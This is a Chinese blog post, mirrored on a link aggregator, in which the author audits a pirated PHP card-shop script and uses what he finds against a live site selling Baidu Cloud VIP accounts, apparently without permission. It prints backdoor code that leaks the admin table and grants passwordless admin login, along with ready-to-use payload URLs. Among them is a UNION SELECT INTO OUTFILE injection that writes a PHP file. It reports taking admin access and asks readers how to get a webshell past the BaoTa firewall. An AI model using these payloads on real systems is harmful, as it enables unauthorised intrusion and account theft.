记一次由百度云会员引起的渗透
source link: https://y4er.com/post/faka-hack/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
记一次由百度云会员引起的渗透
2019-04-03百度云盘真的恶心,不开会员10k/s。
前天找了点域渗透的环境和资料,都是百度云盘存储的,一个镜像十几个g,下不下来,发现网上有卖百度云VIP账号的,都是一些发卡网,刚好自己最近在学代码审计,就想着下载一套源码自己看看能不能审出漏洞。没想到还真看出来了点东西。
目标站点xx.com
扫出了readme.txt
,是企业版PHP自动发卡源码免授权优化版
看到这免授权优化版我就知道有戏,很可能存在后门。网上找了一套
目录结构和目标站点一样,应该就是这套了。
本地搭建,然后源代码扔到seay先跑着,我先大概看下架构
index.php
入口
典型的mvc架构
伪静态重写URL
代码审计这方面我是新手,所以我的目标是找找sql注入、未授权访问、上传点以及越权,当然考虑到是免授权优化版,我还可以找找后门:文件遍历或者代码执行
[后门?]文件遍历
/bom.php
的checkdir()
函数
递归遍历当前目录下的所有文件。
这个文件应该是去除文件的bom头,不知道算不算后门。
\includes\libs\Functions.php
全局makeSafe()
函数过滤,强转数字,addslashes()
和mysql_real_escape_string()
转义字符串,strip_tags
去除html标签
\includes\libs\Mysql.php
MySQL使用UTF8编码
我发现的SQL语句变量全部使用单引号进行包裹,寄希望于seay,暂放。
[后门]获取管理员账户
\admin\adminInfo.php
没有鉴权
function getmethod(){
$ob = new Admin_Model();
$items = $ob->getData(1, 10, "WHERE id <> -1");
$index = 0;
echo "<table border='1' style=''>";
foreach($items as $item){
echo "<tr>";
$index ++;
if($index == 1){
foreach($item as $key => $val){
if(preg_match("/^\d*$/",$key)){
continue;
}
echo "<th>$key</th>";
}
echo "</tr>";
echo "<tr>";
}
foreach($item as $key => $val){
if(preg_match("/^\d*$/",$key)){
continue;
}
echo "<td>$val</td>";
}
echo "</tr>";
}
echo "</table>";
}
payload:/admin/adminInfo.php?action=get
[后门]无需密码登录后台
还是\admin\adminInfo.php
function infomethod(){
$ob = new Admin_Model();
$u = $ob->getOneData($_GET['id']);
$_SESSION['login_adminname']=$u['username'];
$_SESSION['login_adminid']=$u['id'];
$_SESSION['login_adminutype']=$u['utype'];
$_SESSION['login_adminlimit']=explode('|',$u['adminlimit']);
}
payload:先访问/admin/adminInfo.php?action=info&id=1
然后访问/admin/
[后门]SQL注入
还是\admin\adminInfo.php
的infomethod()
函数
$u = $ob->getOneData($_GET['id']);
id直接代入数据库查询,可尝试into outfile
payload
http://go.go/admin/admininfo.php?action=info&id=-1 union select 1,2,3,4,5,6,7,8,9,10,'<?php phpinfo()?>' into outfile 'E:/WWW/faka/1.php'
后台任意文件上传
/admin/set.php
未对文件后缀校验
文件遍历拿到后台=>adminInfo.php
拿到管理员账户或直接登陆=>任意文件上传拿shell
后门进入后台,上传没有写文件权限,sql注入outfile写文件被宝塔拦截,尝试多种方法无果,放弃,毕竟账号已经有了,下东西去。
ps:我没想到一个卖百度云账号的流水一天也能7k
网站是死的,思路是活的。渗透测试的精髓是指哪打哪,希望我可以做到。**另外如果有师傅知道怎么绕过宝塔写shell的请pm我,感激不尽。**有在学代码审计的同学也欢迎找我交流哦!
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK